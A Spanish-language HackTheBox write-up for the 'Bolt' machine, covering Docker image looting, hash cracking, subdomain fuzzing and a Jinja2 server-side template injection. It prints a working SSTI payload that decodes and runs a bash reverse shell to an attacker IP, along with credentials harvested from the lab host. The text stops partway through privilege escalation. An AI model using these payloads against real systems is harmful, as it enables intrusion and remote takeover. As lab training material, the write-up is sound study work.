HackTheBox - Bolt
Creado
Máquina Linux nivel medio. Vamos a jugar con imágenes de Docker (para leer y leer (?)), interacciones extrañas entre correos (SSTI), credenciales quemadas ): y secretos 🤫 del servicio Passbolt.
TL;DR (Spanish writeup)
Creada por: d4rkpayl0ad & TheCyberGeek.
Reenviar.
Empezaremos encontrando un servicio web con una opción para descargar una imagen de Docker, descomprimiremos el objeto e inicialmente podremos leer varios archivos. Apoyados en la enumeración de la imagen tendremos un objeto .sql
, en su contenido vemos un hash, lo crackeamos. Tendremos acceso a un login-panel del servidor web como admin
.
En el dashboard se habla de unos fallos en el código del sitio "demo"
yyy de unos temas relacionados con mails. Realizando un descubrimiento de subdominios, encontramos dos servicios relacionados con “demos” y a “mails”. Tendremos que enumerar demasiado para poder generar una cuenta y pasar el login-panel de “mails”. Estando dentro y jugando con la interacción entre “demos” y “mails” encontraremos una vulnerabilidad SSTI (Server Side Template Injection). Esto nos permitirá ejecutar código remotamente para finalmente obtener una terminal como el usuario www-data
en el sistema.
Jugando con archivos de configuración de la app, veremos credenciales quemadas de bases de datos, haciendo reutilización de contraseñas tendremos una sesión en el sistema como el usuario eddie
.
En nuestra enumeración inicial encontramos el servicio Passbolt (gestor de contraseñas), en el sistema existen objetos relacionados con él. Jugaremos con bases de datos, secretos de Passbolt, mails, backups de llaves privadas y JohnTheRipper
para finalmente desvelar lo escondido, una contraseña (un secreto jijiji) que nos permitirá obtener una Shell como el usuario root
.
…
Clasificación de la máquina según la gentesita
Alguito de enumeración, movimiento de las manos y con intentos de realidad.
La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) :) La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo, al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo las ganas para ayudarnos ¿por que no hacerlo? … Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3 Todo lo que ves es vida!
…
Deseo concebido.
…
Reconocimiento #
Enumeración de puertos con nmap 📌
Empezaremos como siempre… Vamos a descubrir que puertos (servicios) tiene activos la máquina externamente, usaremos nmap
para ello:
❱ nmap -p- --open -v 10.10.11.114 -oG portScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard |
Este escaneo nos devuelve:
❱ cat initScan
# Nmap 7.80 scan initiated Tue Nov 9 25:25:25 2021 as: nmap -p- --open -v -oG portScan 10.10.11.114
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.114 () Status: Up
Host: 10.10.11.114 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 443/open/tcp//https///
# Nmap done at Tue Nov 9 25:25:25 2021 -- 1 IP address (1 host up) scanned in 92.29 seconds
Puerto | Descripción |
---|---|
22 | SSH: Tenemos la opción de generar una Shell de manera segura. |
80 | HTTP: Nos ofrece un servidor web. |
443 | HTTPS: Nos ofrece también un servidor web, pero con un certificado “seguro”. |
Ya que tenemos los puertos con los que cuenta la máquina, juguemos con el mismo nmap
para profundizar y extraer que versiones y scripts (pequeños códigos que tiene nmap para validar cositas) tienen relación con cada servicio:
~(Usando la función extractPorts
(referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que copiarlos a mano (en caso de que fueran muuuchos es muy útil)
❱ extractPorts initScan
[*] Extracting information...
[*] IP Address: 10.10.11.114
[*] Open ports: 22,80,443
[*] Ports copied to clipboard
)~
❱ nmap -p 22,80,443 -sC -sV 10.10.11.114 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
Y este escaneo nos muestra:
❱ cat portScan
# Nmap 7.80 scan initiated Tue Nov 9 25:25:25 2021 as: nmap -p 22,80,443 -sC -sV -oN portScan 10.10.11.114
Nmap scan report for 10.10.11.114
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Starter Website - About
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after: 2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 9 25:25:25 2021 -- 1 IP address (1 host up) scanned in 23.36 seconds
Tenemos algunas cositas relevantes:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 |
80 | HTTP | nginx 1.18.0 |
443 | HTTPS | nginx 1.18.0 |
Con este último puerto tenemos referencias llamativas:
- Un password manager al parecer…
- Una ruta hacia un posible login:
/auth/login
… - Un posible dominio:
passbolt.bolt.htb
… - Un nombre de una organización:
Internet Widgits Pty Ltd
…
Jmmm, pues bastante interesante, solo que por ahora no podemos hacer o extraer más cositas de acá, sigamos y profundicemos.
Enumeración #
Veamos que esconde el puerto 443 📌
Veamos si el certificado SSL
nos da info interesante:
❱ openssl s_client -connect 10.10.11.114:443
...
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = passbolt.bolt.htb
...
Volvemos a ver el subdominio passbolt.bolt.htb
, agreguémoslo al archivo /etc/hosts para ver que responde al conectarse a la IP 10.10.11.114
:
❱ cat /etc/hosts
...
10.10.11.114 bolt.htb passbolt.bolt.htb
...
Y en la web:
Nos hace un redirect a un login en el que inicialmente debemos colocar un e-mail, peeeero antes de probar vainas. ¿Qué es eso de Passbolt?
🔐 Es un gestor de contraseñas, funciona muy simple, tienes un sitio con toooodas tus contraseñas de tooodos los sitios, estas son manejadas y aseguradas por una contraseña maestra, eeeesta es la única que debemos recordar y sobre todo proteger (: Passbolt, gestor de contraseñas gratuito.
Listos, después de probar algunos correos por default (como admin@bolt.htb
) no logramos nada distinto a esta respuesta:
Así que nada, sigamos buscando usuarios o nombres para volver a este apartado.
Recorremos los laberintos del puerto 80 📌
Inicialmente encontramos esta web:
📑 Bolt is a large User Interface Kit that will help you prototype and design beautiful, creative and modern websites.
A simple vista vemos un link hacia un login-panel
, dando vueltas por la web podemos coleccionar nombres que probablemente nos sirvan como usuarios (como pueda que no :P):
(Apartado 1) - (Apartado 2)
Joseph Garth - Neil D. Sims
Bonnie Green - Bonnie M. Green # Bonnie es la única que mantiene su nombre (:
Jose Leos - Christopher M. Wood
También encontramos un link hacia /download
que baja un objeto llamado image.tar
:
Ahí nos indica que vamos a descargar una imagen de Docker
que ellos usan para mostrar a los clientes lo que Bolt (la empresa/el equipo) puede lograr… Hay una parte (/pricing
) donde hacen preguntas y respuestas, ahí también nos aclaran que contiene la imagen:
🐋 Una imagen Docker es un archivo, compuesto por múltiples capas, que se utiliza para ejecutar código en un contenedor Docker. Estas imágenes son las plantillas base desde la que partimos ya sea para crear una nueva imagen o crear nuevos contenedores para ejecutar las aplicaciones.
🐳 Las imágenes se emplean para generar contenedores, ya que estas nunca van a cambiar, esto permite crear contenedores con diferentes capas de imágenes las cuales se van a superponer sobre otras. ¿Qué es una imagen en Docker?
Bien, pues descarguemos el objeto y veamos como jugar con él (:
❱ file image.tar
image.tar: POSIX tar archive
Podemos hacer dos cosas, descomprimir el archivo y recorrer sus objetos ooooooo montar directamente la imagen con Docker
e interactuar con ella. Hagamos rápidamente las dos, primero montemos la imagen con Docker…
💣 Montamos imagen (archivo image.tar
) en Docker…
Pero ¿montar una imagen Docker usando únicamente un archivo .tar
? Sip, mira:
Únicamente ejecutamos:
❱ docker image load -i image.tar
Loaded image: flask-dashboard-adminlte_appseed-app:latest
Listos, ya estaría cargada, para validar que imágenes tenemos ejecutamos:
❱ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
flask-dashboard-adminlte_appseed-app latest 859e74798e6c 9 months ago 154MB
Perfecto, ya esta montada, lo único que falta es ejecutarla y generar un contenedor con el que podremos interactuar, para ello hacemos:
❱ docker run flask-dashboard-adminlte_appseed-app
...
Peeeeeerfecto, se nos tuvo que haber generado un contenedor, listemos y validamos de una vez:
❱ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a1a22a4483da flask-dashboard-adminlte_appseed-app "gunicorn --config g…" 4 minutes ago Up 3 minutes 5005/tcp keen_hugle
Efectivamente, tenemos el contenedor funcional, intentemos entrar en él ejecutando una Shell
, así estaríamos moviéndonos entre los objetos que componen la imagen (:
❱ docker exec -it keen_hugle /bin/sh
Lo que hacemos es ejecutar en el contenedor llamado keen_hugle
(este nombre sale del output de arriba), de manera interactiva (-i
) y consiguiendo una TTY para movernos entre comandos, hacer CTRL+C y tener histórico (-t
) una Shell (/bin/sh
), como resultado tenemos:
❱ docker exec -it keen_hugle /bin/sh
/ # hostname
a1a22a4483da
Y listo, ahora si tenemos acceso a los archivos de la imagen y a la raíz del contenedor:
Dando algunas vueltas encontramos cositas llamativas:
root@a1a22a4483da:/$ cat config.py
...
# Set up the App SECRET_KEY
SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')
...
# This will create a file in <app> FOLDER
SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3')
...
DEFAULT_MAIL_SENDER = 'support@bolt.htb'
...
...
- Una llave secreta, la guardamos por si algo.
- Hace el llamado a un archivo llamado
db.sqlite3
, también puede ser interesante encontrarlo. - Tenemos un correo con una referencia al dominio
bolt.htb
.
Como vimos arriba y en el código, hay una carpeta llamada app
y suponemos que hay esta toooda la estructura de la web (la que nos entregan en image.tar
).
Recorriendo sus objetos no encontramos nada llamativo y jugando con find
tampoco encontramos el archivo db.sqlite3
, pues nada, rompamos el comprimido a ver si hay algo distinto a lo encontrado (:
💣 Descomprimimos objeto y leemos su contenido…
Ejecutamos:
❱ tar xvf image.tar
x
, para extraer.v
, para tener traza visual de lo que va pasando (verbose).f
, le pasamos el archivo a descomprimir.
Obtenemos estos archivos:
Si queremos evitar mostrar la fecha y hora: ls command without (hiding) date and time
❱ ls -lhago --time-style=+""
total 12K
drwxr-xr-x 1 1,6K .
drwxr-xr-x 1 468 ..
drwxr-xr-x 1 40 187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
drwxr-xr-x 1 40 1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
drwxr-xr-x 1 40 2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
drwxr-xr-x 1 40 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
drwxr-xr-x 1 40 3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
drwxr-xr-x 1 40 3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
drwxr-xr-x 1 40 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
drwxr-xr-x 1 40 745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf
-rw-r--r-- 1 3,8K 859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json
drwxr-xr-x 1 40 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77
drwxr-xr-x 1 40 a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
drwxr-xr-x 1 40 d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
-rw-r--r-- 1 1002 manifest.json
-rw-r--r-- 1 119 repositories
Uff, bastantes directorios…
Si hacemos un “árbol” de objetos, encontramos que todos tienen esta estructura:
❱ tree .
.
├── 187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
│ ├── json
│ ├── layer.tar
│ └── VERSION
├── 1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
│ ├── json
│ ├── layer.tar
│ └── VERSION
├── 2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
│ ├── json
│ ├── layer.tar
│ └── VERSION
...
Tienen un comprimido dentro, para evitar descomprimir manualmente cada objeto podemos jugar con un script que entre en cada carpeta y juegue con el objeto layer.tar
, quedaría así:
Entonces apoyados en el script podemos descomprimir el objeto
image.tar
y leer los comprimidos de cada directorio (layer.tar
) (:
Recorriendo cada directorio encontramos varias cositas interesantes, una de ellas es el código fuente del servidor web y una parte interesante:
❱ cat 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py
...
## Login & Registration
...
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
login_form = LoginForm(request.form)
create_account_form = CreateAccountForm(request.form)
if 'register' in request.form:
username = request.form['username']
email = request.form['email' ]
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
data = User.query.filter_by(email=email).first()
if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
# Check usename exists
user = User.query.filter_by(username=username).first()
if user:
...
...
...
...
...
Hay un código de invitación, que según leemos es necesario para la creación de una cuenta en el sitio, interesante, nos podría servir como contraseña o como lo que es, un código de invitación para alguna parte donde nos lo pida :P
Algo que también encontré entre los objetos fue este archivo .sqlite3
:
❱ find . | grep "\.sql"
...
./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/db.sqlite3
Si lo abrimos tenemos:
❱ file ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/db.sqlite3
./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/db.sqlite3: SQLite 3.x database, last written using SQLite version 3025003
❱ strings ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/db.sqlite3
SQLite format 3
9tableUserUser
CREATE TABLE "User" (
id INTEGER NOT NULL,
username VARCHAR,
email VARCHAR,
password BLOB,
email_confirmed BOOLEAN,
profile_update VARCHAR(80),
PRIMARY KEY (id),
UNIQUE (username),
UNIQUE (email)
indexsqlite_autoindex_User_2User
indexsqlite_autoindex_User_1User
adminadmin@bolt.htb$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.
admin
) admin@bolt.htb
Claramente, es la estructura de una base de datos, peeeeeeeeeeeero si nos fijamos detenidamente, al final tenemos datos de un usuario llamado admin
:
Campo | Valor |
---|---|
username | admin |
admin@bolt.htb | |
password | $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q. |
Opa, hay una contraseña hasheada, probemos a crackearla, quizás perdemos el tiempo, quizás no :P Guardamos el hash en un archivo y con ayuda de john
jugamos:
❱ cat admin-sqlite3.hash
$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.
❱ john --wordlist=/usr/share/wordlists/rockyou.txt admin-sqlite3.hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed
SI SEÑOOOOOOOOOOOOOOOOOOR! Tenemos la contraseña en texto plano, así que contamos con credenciales a probar en todos los lados que podamos…
Recuerdan por aaaaaallá arriba que habíamos mencionado un login-panel en http://bolt.htb/login
? Pues juguemos con las creds en ese login:
Enviamos yyyyyyyyyyYYy:
SON VALIDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS! Me gusta (: Ahora revisemos a ver que encontramos…
Bajando un poco vemos una conversación con Sarah Bullock
de la cual podemos extraer bastante info:
- Posibles usuarios: Alexander Pierce, Eddie y Sarah Bullock.
- Hay un problema de seguridad relacionado con el apartado
e-mail
(interesante). - El acceso a la
demo
es únicamente con invitación (así que la que tiene el problema es lademo
).
Bien, bastante llamativo… Debajo de la conversación tenemos una lista de cosas por hacer:
Vemos que no se ha corregido un problema en el código (probablemente relacionado con el tema de seguridad) yyyy que implementaron el cliente de correo Roundcube (también podemos relacionarlo con lo de arriba, ya que mencionan que el problema se encuentra en temas de “email”), así que nos resta buscar, buscar y buuuuscar cositas enfocadas en mails (:
Recorriendo la web perdemos mucho tiempo, porque no encontramos nada útil, acá estuve un tiempo perdido, recordé y me había faltado algo esencial de la enumeración
…
Podemos intentar descubrir posibles subdominios (quizás nuevos servicios web). Jugando con wfuzz
logramos hacerlo, únicamente le indicamos:
- El wordlist (la lista de subdominios).
- Algunas excepciones:
--hc
: Para evitar que nos muestre las respuestas con algún status code especifico
- El host al que estamos apuntando.
- Y la cabecera
host
que será la encargada de validar si algún subdominio (ejemplo:hola.bolt.htb
) le da un código de estado distinto a404
.
Quedaría y respondería así:
❱ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.114 -H 'Host: FUZZ.bolt.htb'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.114/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 504 L 1801 W 30341 Ch "www"
000000003: 200 504 L 1801 W 30341 Ch "ftp"
000000007: 200 504 L 1801 W 30341 Ch "webdisk"
000000015: 200 504 L 1801 W 30341 Ch "ns"
000000030: 200 504 L 1801 W 30341 Ch "new"
000000031: 200 504 L 1801 W 30341 Ch "mobile"
000000029: 200 504 L 1801 W 30341 Ch "old"
000000028: 200 504 L 1801 W 30341 Ch "imap"
000000027: 200 504 L 1801 W 30341 Ch "mx"
...
Vemos que nos da muuuchos falsos positivos, así que para evitarlo le agregamos la excepción --hw
para que según el valor de la columna Word no nos muestre resultados con X numero asignado…
Nosotros tenemos 1801
, pues ese será el número asignado, por lo tanto, evitara mostrarnos resultados con ese numero de palabras (:
❱ wfuzz -c --hc=404 --hw=1801 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.114 -H 'Host: FUZZ.bolt.htb'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.114/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 98 L 322 W 4943 Ch "mail"
000000038: 302 3 L 24 W 219 Ch "demo"
...
Tenemos dos resultados distintos, o sea, dos posibles subdominios, solo nos queda probarlos a ver si nos dan respuesta:
mail.bolt.htb
OPAAAAAA, un login-panel, validemos ahora el otro subdominio:
demo.bolt.htb
Tengamos en cuenta que en la conversación con Sarah hablaban de la version
demo
YYYYYYyyyY tenemos un subdominio que apunta al parecer a una versióndemo
… Además, la vuln esta relacionada con mails yyyyyYYYY tenemos un subdominio que juega conmails
, así que ojito ojitooooo…
Y también es funcional (: Así que ahora tenemos dos nuevos caminos a probar, démosle…
…
Con mail.bolt.htb
no llegamos a ningún lado, ni jugando con credenciales por default, ni investigando versiones vulnerables, nada…
Como vimos, el login-panel de demo.bolt.htb
claramente nos pide credenciales:
Pero en la parte de abajo nos invita a crearnos una cuenta en caso de que no la tengamos, procedamos:
Al ir llenando cada campo llegamos a uno bastante curioso: Invite code, si colocamos algo random e intentamos registrarnos nos muestra esto:
PEEEEEEEEEEEERO, recuerden… ¿Ya recordaron? Efectivamente, en nuestra enumeración de la imagen de Docker (comprimido .tar
y sus objetos) habíamos encontrado el código fuente de una aplicación, en esa fuente la ruta /register
yyy lo curioso de esa porción de código es que hace una validación entre un input y un código de invitación en texto plano:
❱ cat 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py
...
username = request.form['username']
email = request.form['email' ]
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
data = User.query.filter_by(email=email).first()
if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
# Check usename exists
...
...
Podríamos probar ese código en este formulario, ¿no? … Pues al llenar los campos y dar click en Create Account
no obtenemos el error de arriba, por el contrario, somos redirigidos al apartado /login
, así que validemos las credenciales que registramos :P
PEEEEEEERFECTO, todo perfecto (:
Antes de recorrer el sitio se me ocurrió (como una prueba cualquiera) probar esas credenciales en el sitio mail.bolt.htb
, solo testeando suerte, esto es lo que pasó:
CONSEGUIMOS ACCESO TAMBIEEEEEEEEEENNNNN! Así que las cuentas que creemos en demo.bolt.htb
son registradas también en mail.bolt.htb
(curioso) (: Ahora si sigamos que tenemos mucho para enumerar.
…
Jugando con mail.bolt.htb
y el servidor de correo Roundcube, podemos buscar alguna versión o detalle extra que nos sirva para averiguar más acerca de él, si nos fijamos en la parte izquierda inferior hay un símbolo de interrogación con la palabra About
, si damos click llegamos acá:
Tenemos la versión del Roundcube y algunos plugins instalados, solo que buscando y buscando no logramos encontrar nada útil contra esto :’( Vayamos a enumerar demo.bolt.htb
.
Después de muuuuchos pasos en falso, formularios que no hacen nada y miradas perdidas, encontramos este apartado:
¿Por qué es llamativo? Tiene una descripción relacionada con emails ¿no es eso lo que estamos buscando?
Email verification is required in order to update personal information.
Y es que si le damos sentido a esa descripción, cobra valor el servidor de correo al que tenemos acceso ¿no? ((email verification (!)))
Así que agregamos data X en los campos:
Click en submit… Y no pasa nada…
PEEEEEEEEEEERO:
Efectivamente, nos llegó un correo, a veeeeeeerlo:
Pide confirmar los cambios hechos en el perfil, demos click en el link a ver que pasa…
Nos abre una nueva pestaña contra la dirección http://demo.bolt.htb/admin/profile
yyyyyy en el servidor de correo volvemos a obtener un mail, esta vez con este contenido:
Jmmmmmm, únicamente nos muestra el nuevo username de nuestro perfil. Esto nos da riendas a probar cositas, ya que si nos devuelve lo que escribimos en Name
(nombre de usuario) podríamos generar algún tipo de inyección o error, para que cuando nos llegue el correo (si es que se genera la explotación) pues nos muestre cositas locas (:
Explotación #
Jugamos cambiando nuestro nombre a '
, a "
, a <h1>carlitos</h1>
y esta inyección nos confirma HTML injection:
Podemos probar XSS, pero poco hacemos con esto, probando más cositas recordé la hermosa SSTI (Server Side Template Injection), que básicamente le permite a un atacante inyectar contenido dentro de un template, permitiendo así que el servidor lo ejecute (:
De los dos recursos de arriba podemos extraer algunos payloads a probar, como por ejemplo:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
La idea con esos payloads es que si la inyección se genera, debería hacer la operación matemática, por lo que debería devolvernos (repito, en caso de que sea vulnerable) el número 49
como nuevo nombre modificado :P
Así que probemos, tomamos inicialmente {{7*7}}
, modificamos, confirmamos cambios yyyyyyyyyyyyyyyyyy:
¿Se ve algo distinto? (guiño)
TENEMOS EL NÚMERO 49!!!!!!!!!!! Así que confirmamos que tenemos una inyección tipo SSTI (:
El siguiente paso después de esto es identificar que tipo de template tenemos, ya que hay muuuuuchos y todos difieren… Citemos esta parte de uno de los recursos de arriba:
The probe
{{7*'7'}}
would result in 49 in Twig, 7777777 in Jinja2, and neither if no template language is in use.
Así que intentemos ahora ese payload:
Listooooos, con respecto a la anterior cita, ahora sabemos que el template que tenemos esta basado en Jinja2
! Lo loco de todo esto es que no solo nos sirve para inyectar y reflejar números (también podemos ver variables de entorno, cositas como la configuración de la app ({{config}}
), bueno, varias vainas), nop, también podemos ejecutar comandos de forma remotaAAAAAAAAAAAAAAAA :O
Antes de probar RCE, entrenen el ojo encontrando credenciales y data frágil al poner {{config}}
como nuestro nombre de usuario:
:P
Ahora sí, busquemos maneras de conseguir RCE…
Guiándonos de uno de los recursos recién citados tenemos este apartado:
Entre tooodas las opciones, podemos tomar esta y modificarla:
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
Para evitar problemas en la interpretación, pasemos nuestro payload (una reverse Shell en este caso) a base64
y en los comandos inyectados le decimos que lo decodee y lo interprete, el paso a paso sería este:
Pasamos el payload a base64
:
❱ echo "bash -i >& /dev/tcp/10.10.14.11/4433 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS80NDMzIDA+JjEK
En él le decimos que apenas se conecte al puerto 4433
de nuestra máquina nos lance una bash
(:
Levantemos ese puerto:
❱ nc -lvp 4433
listening on [any] 4433 ...
Ahora simplemente le damos forma a la inyección:
{{config.__class__.__init__.__globals__['os'].popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS80NDMzIDA+JjEK | base64 -d | bash').read()}}
Así que tomara la cadena, la decodeara y la interpretará, cuando la intérprete generará nuestra Reverse Shell (si es que sirve :P)…
Modificamos, confirmamos yyy al momento de confirmar pasa esto en nuestra terminal:
PERFECTOOOOOOOOOWOWOWOWOEOWEOEIJfsadojflkajfl, hemos conseguido acceso al sistema explotando un Server Side Template Injection (:
…
Ahora jugamos con nuestra terminal para hacerla más linda y dinámica: nos permitirá tener histórico de comandos, movernos entre ellos y hacer CTRL+C
sin miedo a perder la Shell (:
Sigamos con la máquina…
¿Qué usuarios existen en el sistema? Veamos:
www-data@bolt:/demo$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Mar 3 2021 .
drwxr-xr-x 19 root root 4096 Jan 26 07:14 ..
drwxr-x--- 15 clark clark 4096 Feb 25 2021 clark
drwxr-x--- 16 eddie eddie 4096 Feb 2 12:27 eddie
Bien, si encontramos credenciales, llaves, cadenas extrañas, lo que sea, podemos probarlo contra ellos a ver si conseguimos una Shell (:
Cuando conseguimos la reverse Shell llegamos a este directorio:
www-data@bolt:~/demo$ pwd
/var/www/demo
www-data@bolt:~/demo$ ls -la
total 36
drwxr-xr-x 5 www-data www-data 4096 Aug 4 13:06 .
drwxr-xr-x 6 root root 4096 Aug 4 13:06 ..
-rw-r--r-- 1 www-data www-data 6399 Mar 6 2021 app.py
-rw-r--r-- 1 www-data www-data 420 Mar 4 2021 config.py
drwxr-xr-x 2 www-data www-data 4096 Mar 6 2021 __pycache__
drwxr-xr-x 3 www-data www-data 4096 Mar 4 2021 static
drwxrwxr-x 6 www-data www-data 4096 Mar 5 2021 templates
-rw-r--r-- 1 www-data www-data 62 Mar 4 2021 wsgi.py
¿Si vieron las credenciales antes? Pues acá están de nuevo:
Tenemos usuario y contraseñas de la base de datos boltmail
, son válidas, pero dentro no encontramos nada útil o que no tengamos ya, así que sigamos enumerando…
www-data@bolt:~/demo$ mysql -u bolt_dba -D boltmail -p
Saliéndonos un directorio existen estos objetos a los que www-data
tiene acceso:
www-data@bolt:~$ ls -la
total 24
drwxr-xr-x 6 root root 4096 Aug 4 13:06 .
drwxr-xr-x 14 root root 4096 Jan 26 07:14 ..
drwxr-xr-x 5 www-data www-data 4096 Aug 4 13:06 demo
drwx------ 7 www-data www-data 4096 Aug 26 23:57 dev
drwxr-xr-x 2 root root 4096 Aug 4 13:06 html
drwx------ 13 www-data www-data 4096 Aug 4 13:06 roundcube
Dando vueltas volvemos a encontrar credenciales, ahora de la base de datos rouncube
(la del servidor de correo):
www-data@bolt:~/roundcube/config$ pwd
/var/www/roundcube/config
www-data@bolt:~/roundcube/config$ cat config.inc.php
<?php
...
$config['db_dsnw'] = 'mysql://roundcubeuser:WXg5He2wHt4QYHuyGET@localhost/roundcube';
...
$config['des_key'] = 'tdqy62YPNdGEeohXtJ2160bX';
...
Pero igual, no hay nada interesante…
Después de unos minutos recordé con lo que lidiamos antes del puerto 443
, el servicio Passbolt, pues busquemos archivos en el sistema con ese nombre a ver si por ahí encontramos algo.
www-data@bolt:/$ find / -name passbolt 2>/dev/null
/etc/passbolt
/usr/share/php/passbolt
/usr/share/passbolt
/var/lib/passbolt
/var/log/passbolt
Bien, hay cositas, pues empecemos por el principio :P
Recorriendo algunos de los objetos notamos estas credenciales de nuevo de una base de datos, esta vez llamada passboltdb
(ya habíamos lidiado con passbolt en el puerto 443, tengamos esto en cuenta por si algo):
www-data@bolt:/etc/passbolt$ cat passbolt.php
<?php
...
// Database configuration.
'Datasources' => [
'default' => [
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%',
'database' => 'passboltdb',
],
],
...
Probándolas contra MySQL son válidas, peeeeeeeeeero si también jugamos a reutilizarla contra el sistema ya sea con eddie
o clark
, tenemos esto:
TENEMOS UNA TERMINAAAAAAAAAAAAAL como el usuario eddie
(((: Veamos que sigueeee…
Escalada de privilegios #
Antes de volvernos locos enumerando, veamos la base de datos (:
eddie@bolt:~$ mysql -u passbolt -D passboltdb -p
Tenemos algunas tablas llamativas:
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb |
+-----------------------+
| account_settings |
| action_logs |
| actions |
| authentication_tokens |
...
| gpgkeys |
...
| secret_accesses |
| secrets |
| secrets_history |
| user_agents |
| users |
+-----------------------+
De primeras contra users
vemos:
Nada útil, jugando con las otras tablas llegamos a secrets
, tenemos esta data:
mysql> SELECT * FROM secrets;
🤫 Secret endpoints are used to manage secrets on a Resource. Secret - Passbolt
Simple y directo, son secretos!
